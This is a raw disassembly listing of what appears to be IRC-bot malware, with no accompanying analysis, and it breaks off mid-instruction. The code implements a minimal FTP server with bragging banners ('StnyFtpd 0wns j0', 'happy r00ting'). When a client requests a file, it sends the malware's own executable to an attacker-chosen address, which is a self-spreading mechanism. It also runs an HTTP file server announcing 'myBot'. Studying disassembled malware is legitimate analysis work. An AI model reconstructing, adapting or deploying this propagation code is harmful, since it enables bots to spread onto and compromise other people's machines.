XREF: sub_40E992+188j ; sub_40E992+192j cmp ecx, [ebp+var_22C] jnz short loc_40EB50 cmp [ebp+var_22C], 40h jnb short loc_40EB50 mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40EB50: ; CODE XREF: sub_40E992+1A6j ; sub_40E992+1AFj cmp eax, [ebp+var_4] jle short loc_40EB58 mov [ebp+var_4], eax loc_40EB58: ; CODE XREF: sub_40E992+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40EFA3 ; --------------------------------------------------------------------------- loc_40EB68: ; CODE XREF: sub_40E992+15Aj push esi lea eax, [ebp+Dst] push 64h push eax push edi call ds:dword_427218 ; recv test eax, eax jg short loc_40EBCF mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40EBC3 lea eax, [ebp+var_228] loc_40EB8F: ; CODE XREF: sub_40E992+207j cmp [eax], edi jz short loc_40EB9D inc ecx add eax, 4 cmp ecx, edx jb short loc_40EB8F jmp short loc_40EBC3 ; --------------------------------------------------------------------------- loc_40EB9D: ; CODE XREF: sub_40E992+1FFj dec edx cmp ecx, edx jnb short loc_40EBBD lea eax, [ebp+ecx*4+var_228] loc_40EBA9: ; CODE XREF: sub_40E992+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40EBA9 loc_40EBBD: ; CODE XREF: sub_40E992+20Ej dec [ebp+var_22C] loc_40EBC3: ; CODE XREF: sub_40E992+1F5j ; sub_40E992+209j push edi call ds:dword_42721C ; closesocket jmp loc_40EFA3 ; --------------------------------------------------------------------------- loc_40EBCF: ; CODE XREF: sub_40E992+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+Str1] push eax lea eax, [ebp+Dst] push offset aSS_3 ; "%s %s" push eax ; Src call _sscanf lea eax, [ebp+Str1] push offset aUser_1 ; "USER" push eax ; Str1 call _strcmp add esp, 18h test eax, eax jnz short loc_40EC13 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40EC95 ; --------------------------------------------------------------------------- loc_40EC13: ; CODE XREF: sub_40E992+272j lea eax, [ebp+Str1] push offset aPass ; "PASS" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40EC34 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp short loc_40EC95 ; --------------------------------------------------------------------------- loc_40EC34: ; CODE XREF: sub_40E992+296j lea eax, [ebp+Str1] push offset aSyst ; "SYST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40EC55 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp short loc_40EC95 ; --------------------------------------------------------------------------- loc_40EC55: ; CODE XREF: sub_40E992+2B7j lea eax, [ebp+Str1] push offset aRest ; "REST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40EC76 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp short loc_40EC95 ; --------------------------------------------------------------------------- loc_40EC76: ; CODE XREF: sub_40E992+2D8j lea eax, [ebp+Str1] push offset off_433E54 ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40EC9B push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" loc_40EC95: ; CODE XREF: sub_40E992+27Cj ; sub_40E992+2A0j ... push edi jmp loc_40EF8C ; --------------------------------------------------------------------------- loc_40EC9B: ; CODE XREF: sub_40E992+2F9j mov edi, offset aType ; "TYPE" lea eax, [ebp+Str1] push edi ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40ECD7 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40ECD7 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40EF89 ; --------------------------------------------------------------------------- loc_40ECD7: ; CODE XREF: sub_40E992+31Fj ; sub_40E992+336j lea eax, [ebp+Str1] push edi ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40ED0E lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40ED0E push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40EF89 ; --------------------------------------------------------------------------- loc_40ED0E: ; CODE XREF: sub_40E992+356j ; sub_40E992+36Dj lea eax, [ebp+Str1] push offset aPasv ; "PASV" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40ED59 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+Str] rep movsd push eax lea eax, [ebp+Str] push eax ; Str movsw call _strlen pop ecx push eax lea eax, [ebp+Str] loc_40ED4C: ; CODE XREF: sub_40E992+406j push eax push [ebp+arg_0] call ebx ; send xor esi, esi jmp loc_40EF8E ; --------------------------------------------------------------------------- loc_40ED59: ; CODE XREF: sub_40E992+391j lea eax, [ebp+Str1] push offset aList_0 ; "LIST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40ED9A push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax ; Str movsb call _strlen pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40ED4C ; --------------------------------------------------------------------------- loc_40ED9A: ; CODE XREF: sub_40E992+3DCj lea eax, [ebp+Str1] push offset aPort ; "PORT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40EE6B lea eax, [ebp+var_2D4] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+Dst] push offset aS_1 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax ; Src call _sscanf lea eax, [ebp+Dest] push eax ; Str call _atoi mov edi, eax lea eax, [ebp+var_2D4] push eax ; Str call _atoi mov [ebp+var_C], eax push 32h ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset add esp, 34h lea eax, [ebp+Dest] push [ebp+var_C] push edi push offset aXX ; "%x%x\n" push eax ; Dest call _sprintf push 10h ; Radix lea eax, [ebp+Dest] push esi ; EndPtr push eax ; Str call _strtoul add esp, 1Ch mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_3C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax ; Dest call _sprintf add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40EF89 ; --------------------------------------------------------------------------- loc_40EE6B: ; CODE XREF: sub_40E992+41Dj lea eax, [ebp+Str1] push offset aRetr ; "RETR" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40EF6A push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+arg_0] call ebx ; send push [ebp+var_C] lea eax, [ebp+var_3C] push eax call sub_40EFBF pop ecx cmp eax, 1 pop ecx jnz loc_40EF60 lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferSta ; "ftp transfer started to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40EEED push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409A73 add esp, 14h loc_40EEED: ; CODE XREF: sub_40E992+536j call sub_40F03C cmp eax, 1 jnz loc_40EF8E push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+arg_0] call ebx ; send lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferCom ; "ftp transfer complete to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40EF4B push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409A73 add esp, 14h loc_40EF4B: ; CODE XREF: sub_40E992+594j lea eax, [ebp+var_8E0] push eax call sub_4151AD inc dword_4CE160 pop ecx jmp short loc_40EF8E ; --------------------------------------------------------------------------- loc_40EF60: ; CODE XREF: sub_40E992+512j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40EF89 ; --------------------------------------------------------------------------- loc_40EF6A: ; CODE XREF: sub_40E992+4EEj lea eax, [ebp+Str1] push offset aQuit ; "QUIT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40EF8E push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40EF89: ; CODE XREF: sub_40E992+340j ; sub_40E992+377j ... push [ebp+arg_0] loc_40EF8C: ; CODE XREF: sub_40E992+304j call ebx ; send loc_40EF8E: ; CODE XREF: sub_40E992+3C2j ; sub_40E992+563j ... push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset mov edi, [ebp+arg_0] add esp, 0Ch loc_40EFA3: ; CODE XREF: sub_40E992+151j ; sub_40E992+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40EAB1 jmp loc_40EA76 ; --------------------------------------------------------------------------- loc_40EFB5: ; CODE XREF: sub_40E992+10Fj push 1 pop eax loc_40EFB8: ; CODE XREF: sub_40E992+C1j pop edi pop esi pop ebx leave retn 4 sub_40E992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EFBF proc near ; CODE XREF: sub_40E992+508p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4271F0 ; WSAStartup push 0 push 1 push 2 call ds:dword_427220 ; socket push [ebp+arg_0] mov dword_4CE3A8, eax mov [ebp+var_10], 2 call ds:dword_42720C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_427210 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4CE3A8 call ds:dword_427214 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40F037 push dword_4CE3A8 call ds:dword_42721C ; closesocket call ds:dword_4271EC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F037: ; CODE XREF: sub_40EFBF+60j push 1 pop eax leave retn sub_40EFBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F03C proc near ; CODE XREF: sub_40E992:loc_40EEEDp DstBuf = byte ptr -504h Filename = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+Filename] push 104h push eax push 0 call ds:dword_427070 ; GetModuleFileNameA lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D3 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B7 push edi mov edi, 400h loc_40F07F: ; CODE XREF: sub_40F03C+78j push esi ; File push 1 ; Count lea eax, [ebp+DstBuf] push edi ; ElementSize push eax ; DstBuf call _fread add esp, 10h lea eax, [ebp+DstBuf] push 0 push edi push eax push dword_4CE3A8 call ds:dword_427224 ; send push 1 call ds:dword_427078 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40F07F pop edi loc_40F0B7: ; CODE XREF: sub_40F03C+3Bj push esi ; File call _fclose pop ecx push dword_4CE3A8 call ds:dword_42721C ; closesocket call ds:dword_4271EC ; WSACleanup push 1 pop eax loc_40F0D3: ; CODE XREF: sub_40F03C+35j pop esi leave retn sub_40F03C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D6 proc near ; DATA XREF: sub_401ACD+2284o ; sub_40BACE+475o Str = byte ptr -28F0h Str1 = byte ptr -18F0h Dest = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h Dst = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_14], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_25C] call dword_4CB654 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB6D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E59C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CB680 ; bind cmp eax, 0FFFFFFFFh jz loc_40F4C1 push 7FFFFFFFh push edi call dword_4CB67C ; listen cmp eax, 0FFFFFFFFh jz loc_40F4C1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB6F0 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40F4C1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AD: ; CODE XREF: sub_40F0D6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB63C ; select cmp eax, 0FFFFFFFFh jz loc_40F4BC xor esi, esi mov [ebp+var_4], esi loc_40F1E3: ; CODE XREF: sub_40F0D6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB540 ; __WSAFDIsSet test eax, eax jz loc_40F4A7 cmp esi, [ebp+var_C] jnz short loc_40F265 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB6E8 ; accept cmp eax, 0FFFFFFFFh jz loc_40F4A7 xor ecx, ecx test ebx, ebx jbe short loc_40F237 lea edx, [ebp+var_134] loc_40F22B: ; CODE XREF: sub_40F0D6+15Fj cmp [edx], eax jz short loc_40F237 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22B loc_40F237: ; CODE XREF: sub_40F0D6+14Dj ; sub_40F0D6+157j cmp ecx, ebx jnz short loc_40F254 cmp ebx, 40h jnb short loc_40F254 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F254: ; CODE XREF: sub_40F0D6+163j ; sub_40F0D6+168j cmp eax, [ebp+var_8] jbe loc_40F4A7 mov [ebp+var_8], eax jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F265: ; CODE XREF: sub_40F0D6+126j mov edi, 1000h lea eax, [ebp+Str] push edi ; Size push 0 ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+Str] push 0 push edi push eax push esi call dword_4CB66C ; recv test eax, eax jg short loc_40F2F8 push esi call dword_4CB6EC ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40F4A7 lea eax, [ebp+var_134] loc_40F2B7: ; CODE XREF: sub_40F0D6+1EBj cmp [eax], esi jz short loc_40F2C8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B7 jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F2C8: ; CODE XREF: sub_40F0D6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EC lea eax, [ebp+ecx*4+var_134] loc_40F2D6: ; CODE XREF: sub_40F0D6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D6 loc_40F2EC: ; CODE XREF: sub_40F0D6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F2F8: ; CODE XREF: sub_40F0D6+1C8j xor esi, esi push 104h ; Size lea eax, [ebp+var_23C] push esi ; Val push eax ; Dst call _memset lea eax, [ebp+Str] mov [ebp+arg_0], esi push eax ; Str call _strlen add esp, 10h test eax, eax jbe loc_40F4A7 loc_40F326: ; CODE XREF: sub_40F0D6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+Str] cmp al, 0Ah mov [ebp+esi+Str1], al jnz loc_40F3CB mov esi, offset aGet ; "GET " lea eax, [ebp+Str1] push esi ; SubStr push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_40F39F lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 5 pop ecx jbe short loc_40F39F mov eax, offset asc_42D124 ; " " push eax ; Delim push eax ; SubStr lea eax, [ebp+Str1] push esi ; SubStr push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strtok push eax ; Source lea eax, [ebp+var_23C] push eax ; Dest call _strcpy add esp, 10h jmp short loc_40F3B6 ; --------------------------------------------------------------------------- loc_40F39F: ; CODE XREF: sub_40F0D6+27Fj ; sub_40F0D6+291j lea eax, [ebp+Str1] push offset asc_433F14 ; "\r\n" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40F3EA loc_40F3B6: ; CODE XREF: sub_40F0D6+2C7j push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CB: ; CODE XREF: sub_40F0D6+263j inc [ebp+arg_0] lea eax, [ebp+Str] push eax ; Str inc esi call _strlen cmp [ebp+arg_0], eax pop ecx jb loc_40F326 jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F3EA: ; CODE XREF: sub_40F0D6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F434 lea eax, [ebp+var_134] loc_40F3F6: ; CODE XREF: sub_40F0D6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F407 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F6 jmp short loc_40F437 ; --------------------------------------------------------------------------- loc_40F407: ; CODE XREF: sub_40F0D6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42B lea eax, [ebp+ecx*4+var_134] loc_40F415: ; CODE XREF: sub_40F0D6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F415 loc_40F42B: ; CODE XREF: sub_40F0D6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F437 ; --------------------------------------------------------------------------- loc_40F434: ; CODE XREF: sub_40F0D6+318j mov esi, [ebp+var_4] loc_40F437: ; CODE XREF: sub_40F0D6+32Fj ; sub_40F0D6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F4A0 lea eax, [ebp+var_360] push eax ; Str call _strlen mov edi, eax lea eax, [ebp+var_23C] push eax ; Str call _strlen add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F4A0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB6F0 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B4 add esp, 14h jmp short loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F4A0: ; CODE XREF: sub_40F0D6+369j ; sub_40F0D6+38Fj push esi call dword_4CB6EC ; closesocket loc_40F4A7: ; CODE XREF: sub_40F0D6+11Dj ; sub_40F0D6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E3 jmp loc_40F1AD ; --------------------------------------------------------------------------- loc_40F4BC: ; CODE XREF: sub_40F0D6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C1: ; CODE XREF: sub_40F0D6+6Aj ; sub_40F0D6+92j ... call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_433EEC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F507 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_250] ; int push eax ; int lea eax, [ebp+var_5E8] push eax ; Str push [ebp+var_5EC] ; int call sub_409A73 add esp, 14h loc_40F507: ; CODE XREF: sub_40F0D6+40Cj lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC ; closesocket push [ebp+var_254] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_40F0D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F531 proc near ; DATA XREF: sub_40F6B4+24Do Str = byte ptr -1654h Source = byte ptr -654h Dest = byte ptr -550h var_44C = dword ptr -44Ch Format = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_2C4] pop ecx push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F597 push offset aTextHtml ; "text/html" jmp short loc_40F59C ; --------------------------------------------------------------------------- loc_40F597: ; CODE XREF: sub_40F531+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59C: ; CODE XREF: sub_40F531+64j lea eax, [ebp+var_9C] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_427104 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_427100 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F615 lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 24h jmp short loc_40F636 ; --------------------------------------------------------------------------- loc_40F615: ; CODE XREF: sub_40F531+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 28h loc_40F636: ; CODE XREF: sub_40F531+E2j lea eax, [ebp+Str] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_44C] call dword_4CB6A4 ; send cmp [ebp+var_A4], edi jnz short loc_40F676 lea eax, [ebp+Dest] push eax push [ebp+var_44C] call sub_40FFF1 pop ecx pop ecx jmp short loc_40F693 ; --------------------------------------------------------------------------- loc_40F676: ; CODE XREF: sub_40F531+12Dj lea eax, [ebp+Source] push eax ; Source push edi ; int push [ebp+var_44C] ; int lea eax, [ebp+Dest] push eax ; Str call sub_40F96B add esp, 10h loc_40F693: ; CODE XREF: sub_40F531+143j push [ebp+var_44C] call dword_4CB6EC ; closesocket push [ebp+var_B4] call sub_40B413 pop ecx push edi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_40F531 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B4 proc near ; CODE XREF: sub_40F0D6+3C0p Source = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h Str = byte ptr -314h var_211 = byte ptr -211h Dst = byte ptr -210h Dest = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst mov [ebp+var_4], edi call _memset mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6EA push eax push offset aS_9 ; "\\%s" jmp short loc_40F6F3 ; --------------------------------------------------------------------------- loc_40F6EA: ; CODE XREF: sub_40F6B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_6 ; "%s" loc_40F6F3: ; CODE XREF: sub_40F6B4+34j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] xor esi, esi xor ebx, ebx push eax ; Str call _strlen test eax, eax pop ecx jbe short loc_40F78E mov [ebp+arg_8], 2 loc_40F71E: ; CODE XREF: sub_40F6B4+D8j lea eax, [ebp+Dest] push eax ; Str call _strlen cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75E cmp [ebp+esi+Dest], 25h jnz short loc_40F75E cmp [ebp+esi+var_10B], 32h jnz short loc_40F75E cmp [ebp+esi+var_10A], 30h jnz short loc_40F75E inc esi mov [ebp+ebx+Dst], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F778 ; --------------------------------------------------------------------------- loc_40F75E: ; CODE XREF: sub_40F6B4+7Aj ; sub_40F6B4+84j ... mov al, [ebp+esi+Dest] cmp al, 2Fh jnz short loc_40F76E push 5Ch pop eax jmp short loc_40F771 ; --------------------------------------------------------------------------- loc_40F76E: ; CODE XREF: sub_40F6B4+B3j movsx eax, al loc_40F771: ; CODE XREF: sub_40F6B4+B8j mov [ebp+ebx+Dst], al loc_40F778: ; CODE XREF: sub_40F6B4+A8j lea eax, [ebp+Dest] inc esi inc [ebp+arg_8] push eax ; Str inc ebx call _strlen cmp esi, eax pop ecx jb short loc_40F71E loc_40F78E: ; CODE XREF: sub_40F6B4+61j lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push [ebp+arg_4] push offset aSS ; "%s%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] push offset asc_42A0A0 ; "\n" push eax ; Str call _strtok add esp, 18h lea eax, [ebp+Str] push eax call ds:dword_427098 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_40F7DF cmp eax, 0FFFFFFFFh jnz short loc_40F7E2 push [ebp+arg_0] jmp loc_40F862 ; --------------------------------------------------------------------------- loc_40F7DF: ; CODE XREF: sub_40F6B4+11Cj mov [ebp+var_4], esi loc_40F7E2: ; CODE XREF: sub_40F6B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EF mov [ebp+var_4], esi loc_40F7EF: ; CODE XREF: sub_40F6B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86D cmp [ebp+arg_C], edi jz short loc_40F861 lea eax, [ebp+Str] push offset asc_4341A0 ; "*" push eax ; Dest call _strcat pop ecx lea eax, [ebp+Str] pop ecx push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Str call sub_4100AE add esp, 0Ch lea eax, [ebp+Dst] push eax ; Format lea eax, [ebp+var_53C] push eax ; Dest call _sprintf or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BC ; --------------------------------------------------------------------------- loc_40F861: ; CODE XREF: sub_40F6B4+152j push ebx loc_40F862: ; CODE XREF: sub_40F6B4+126j call dword_4CB6EC ; closesocket jmp loc_40F964 ; --------------------------------------------------------------------------- loc_40F86D: ; CODE XREF: sub_40F6B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4270EC ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BC lea eax, [ebp+Str] push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call 